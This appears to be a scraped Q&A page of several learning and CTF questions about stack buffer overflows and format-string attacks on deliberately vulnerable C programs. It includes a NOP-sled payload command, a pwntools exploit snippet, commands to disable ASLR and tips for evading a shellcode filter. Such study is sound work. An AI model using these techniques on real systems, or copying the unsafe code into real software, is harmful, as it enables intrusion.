Buffer overflow weird behaviour - c

I have installed the linux distro named DVL (damn vulnerable linux), and I'm exercising with buffer overflow exploits.
I wrote two virtually identical programs which are vulnerable to bof:
//bof_n.c
#include <stdio.h>
void bof() {
printf("BOF");
}
void foo(char* argv) {
char buf[10];
strcpy(buf, argv);
prinf("foo");
}
int main(int argc, char* argv[]) {
if (argc >= 1) {
foo(argv[1]);
}
return 0;
}
and
//bof.c
#include <stdio.h>
void bof() {
printf("BOF!\n");//this is the only change
}
void foo(char* argv) {
char buf[10];
strcpy(buf, argv);
prinf("foo");
}
int main(int argc, char* argv[]) {
if (argc >= 1) {
foo(argv[1]);
}
return 0;
}
After that I compiled both of them, and I obtained the bof() function address in both cases (e.g., objdump -d bof.o | grep bof). Let's name such an address ADDR which is on 4 byte.
I also found that if I write 32 byte in the buf variable, the EIP register is completely overwritten (I cannot copy here the output of gdb since it is on a virtual machine).
Now, if I do:
./bof `perl -e 'print "\x90"x28 . "ADDR"'`
I get:
fooBOF!
Segmentation fault
Instead if I try the same approach but using bof_n, I only get the "Segmentation fault" message.
Therefore I tried to increment the number of time ADDR value is repeated, and I found that if it is being repeated for at least 350 times, I get the wanted result. But instead of having the output above exactly, I get a long list of "BOF" messages one after the other. I tried to obtain just one "BOF" message, but apparently I cannot do that (I got or zero, or a long list of them).
Why this is happening? Any idea?
I'm using DVL with gcc 3.4.6

What's your goal?
You should really be using a debugger for this, try the GDB Debugger or gdb. With it you can see the memory/registers/stack and disassembly of whats currently going on in the system.
I'd guess that in the first function, the string being only 3 characters in length, gets optimized to \x42\x4f\x46\x00, so the disassembly may be slightly different.
The C source is pretty much irrelevant, you'll need to either disassemble or fuzz both binaries to find appropriate size for both NOP sleds.

I found out the solution. The issue was about the printing of the message and not the buffer overflow exploit itself.
In fact the register eip was being correctly overwritten also in the bof_n example, and the program flow was being correctly redirected in the bof() function. The problem was that, apparently, the stdout were not flushed out before the Segmentation fault and hence no message was being shown.
Instead, using fprintf(stderr, "BOF");, I finally get the "BOF" message.

Related

Exploit BufferOverFlow to read content of File with verification of input

I have a CTF challenge in which i've got a simple code vulnerable to buffer over flow (via strcpy) which looks like:
#include <stdio.h>
#include <string.h>
int display(char *text)
{
char buffer[20];
strcpy(buffer, texte);
printf("%s\n",buffer);
}
int main(int argc, char ** argv)
{
char forbidden[]={0x00, 0x80, 0x89, 0xe1, 0x89};
int i,j;
if (argc!=2)
{
printf("Usage: %s <text>\n", argv[0]);
return 1;
}
for(i=0;argv[1][i];i++)
{
for(j=0;forbidden[j];j++)
{
if(argv[1][i] == forbidden[j])
{
printf("Shellcode detected!\n");
return 1;
}
}
}
display(argv[1]);
return 0;
}
I managed to debug via GDB and see the addresses and instructions, I took full control of the memory, so I managed to corrupt the memory and inject my own shellcode, and change the return address to that block which runs my code.
But what bothers me, is the code check forbidden characters that I need to use to execute a \bin\cat, which really relies on 0x80 (OpCode of system call), i used shellcode generator such as masterccc.github. But it nevers provide me a shellcode without those forbidden characters, i tried as well an encoder (change shellcode instructions but have the same semantic) but no way.
I just want to know if i am in right path, and i have to execute shellcode and bypass this verification, or it's wrong path ? give me some Hint please.
I'm working on x86 32-bit.
There are other ways to get a shell ;)
You should probably check what is a ROP chain
If you still want to use a shellcode (and this is probably the easiest way), you could also inject it in an env variable instead of the argv[1] and use
jmp ADDRESS_OF_THE_SHELLCODE_IN_ENV
in argv[1]. It won't trigger the forbidden characters.
Have fun with the CTF!

C Format-String vulnerability, how to get address in buffer

I have a program that loops and reads from stdin with fgets. The whole read loop is located in a function and I am trying to overwrite the return address of the function with the printf vulnerability. The return address is located at 0xbffff0fc (it is 0x2a20029e) and the buffer on the stack is identified by the input AAAA (0x41414141).
0xbffff0b0: 0x0000000a 0x00000020 0xb7fc7c20 0xb7e4fd94
0xbffff0c0: 0xb7fc73cc 0xbffff0dc 0x41414141 0x66740000
0xbffff0d0: 0x785c2220 0x785c3439 0x785c3739 0x785c3430
0xbffff0e0: 0x29223830 0xb7fc0000 0x5da95700 0x00000000
0xbffff0f0: 0x00000000 0xb7fc7000 0x00000000 0x2a20029e
So from my understanding I need to write 0xbffff0fc in the buffer and then I can use %x%6$n (k is an integer) to write an arbitrary value to 0xbffff0fc.
So the input would look something like this: <0xbffff0fc>%x%6$n. The problem I have is how do I write <0xbffff0fc> so that it is 0xbffff0fc on the stack. With the ASCII characters alone I cannot really do this.
Edit: added the program
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int function1()
{
char line[32];
size_t size;
while(1)
{
if (!fgets(line, sizeof(line), stdin))
{
return 0;
}
size = strlen(line);
line[size - 1] = '\0';
printf(line);
printf("\n");
}
return 0;
}
int main(int argc, char** argv)
{
function1();
return 0;
}
Happy to see people ask about security question here.
I think you could take a look of pwntools.
This is a tool for writing exploit.
Here is a simple code snippet.
#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()
The output will be some unprintable characters plus 0xbffff0fc
▒▒0xbffff0fc
For further explanation, line variable is already on stack.
But you have to disable the ASLR protection to make your stack address fixed.
Otherwise, every time you execute your program.
Your line variable address will be different.
Disable it:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Enable it:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
But, I don't think your problem will be how to write 0xbffff0fc to stack.
Your problem should be how to get the variable address of line with ASLR enabled.
Here is the strategy.
Leak the ebp of stack frame then you could calculate the address of line variable.(This part is important)
Do the same thing of the previous sample exploit.
Then, use %n to rewrite return address of function.
If you have question, feel free to ask me.

Buffer Overflow to change address that gets returned to

I'm trying to call the oopsIGotToTheBadFunction by changing the return address via the user input in goodFunctionUserInput.
Here is the code:
#include <stdio.h>
#include <stdlib.h>
int oopsIGotToTheBadFunction(void)
{
printf("Gotcha!\n");
exit(0);
}
int goodFunctionUserInput(void)
{
char buf[12];
gets(buf);
return(1);
}
int main(void)
{
goodFunctionUserInput();
printf("Overflow failed\n");
return(1);
}
/**
> gcc isThisGood.c
> a.out
hello
Overflow failed
*/
I've tried loading the buffer with 0123456789012345 but not sure what to put for the rest of it to get the address. The address is 0x1000008fc.
Any insights or comments would be helpful.
I'm going to give this the benefit of the doubt and presume this is an exercise intended to learn about the stack (perhaps homework) and not learning how to do anything malicious.
Consider where the return address of goodFunctionUserInput is on the stack and what would happen if you changed it. You may wish to check the disassembly to see how much space on the stack the compiler made for goodFunctionUserInput and where exactly buf is. When you figure out how long a string to enter, consider the endianness of the machine and what that means for the address you want to overwrite into the return address of goodFunctionUserInput. Worrying about what sorts of awful things this does to the stack isn't important here as your function you want to call simply calls exit.

Compiled with no Segmentation faults

I was working with example from K&R, its a cat utility to view files
#include <stdio.h>
main(int argc,char **argv){
FILE *fp;
void filecopy(FILE *,FILE *);
if(argc==1)
filecopy(stdin,stdout);
else // accidentally mistyped
while(--argv > 0) // should have been --argc > 0
if((fp=fopen(*++argv,"r"))==NULL){
printf("cat: can't open %s\n",*argv);
return 1;
}else{
filecopy(fp,stdout);
fclose(fp);
}
return 0;
}
void filecopy(FILE *ifp,FILE *ofp)
{
int c;
while((c=getc(ifp))!=EOF)
putc(c,ofp);
}
When compiled with gcc cat.c,
and when I ran ./a.out cat.c from the terminal,all I got was some chinnesse symbols and some readable text(names like _fini_array_,_GLOBAL_OFFSET_TABLE_ and etc..) and the garbage just went on until I pressed Ctrl+C, I wanted to ask why I didn't got Segmentation fault, because didn't the program was reading every memory location from argv start address? and I shouldn't have the rights to do so?
Let's look at these two consecutive lines:
while(--argv > 0)
if((fp=fopen(*++argv,"r"))==NULL){
Every time you decrement argv, you end up incrementing it on the next line. So overall, you are just decrementing and incrementing argv a lot but you are never actually reading past the bounds of the argv memory area.
Even if you were reading past the bounds of the argv memory area, that would be undefined behavior and you are not guaranteed to get a segmentation fault. The result you get depends on your compiler your, operating system, and the other things in your program.
I suspect that executing --argv also gives you undefined behavior, because after that line is executed, the pointer would probably point outside of the array allocated for argv data. But, since you didn't dereference argv while it was pointing there, it turned out to be OK.

is it possible to make a function execute code from a string on the stack?

#include <stdio.h>
int main(int argc, char** argv)
{
void (*p) (void);
/* this obviously won't work, but what string could I put in
here (if anything) to make this execute something meaningful?
Does any OS allow instructions to be read from
the stack rather than text area of the process image? */
char *c = "void f() { printf(\"Hello, world!\"); }";
p = ( void (*)() )c;
p();
return 0;
}
Sort of, but not really, there is no eval() in c, like in many scripting languages.
However, what you are describing is sort of like a Buffer Overflow exploit.
Where, you use a string to write "code" (not c syntax, but machine code) into the address space after the buffer. Here's a nice little tutorial of the topic.
Don't use this information to write a virus :(
You could use libtcc to compile and run C source code:
const char *code = "int main(int argc, char**argv) { printf(\"Hello, world!\"); return 0; }";
TCCState *tcc = tcc_new();
if (tcc_compile_string(tcc, code))
{
// an error occurred compiling the string (syntax errors perhaps?)
}
int argc = 1;
char *argv[] = { "test" };
int result = tcc_run (tcc, argc, argv);
// result should be the return value of the compiled "main" function.
// be sure to delete the memory used by libtcc
tcc_delete(tcc);
A coouple of issues:
You can only compile libtcc on a supported architecture.
You need to have a main function.
Sure it is possible. Buffer Overflow exploits use it.
See Shellcode for what kind of strings you can place.
Basically what you can do it put machine code on the stack and jump to the address. This will cause execution (if the OS/machine allows it, see NX bit).
You could perhaps even try to do a memcpy from some function address onto a string on the stack and then try jumping to the address on the stack.

Resources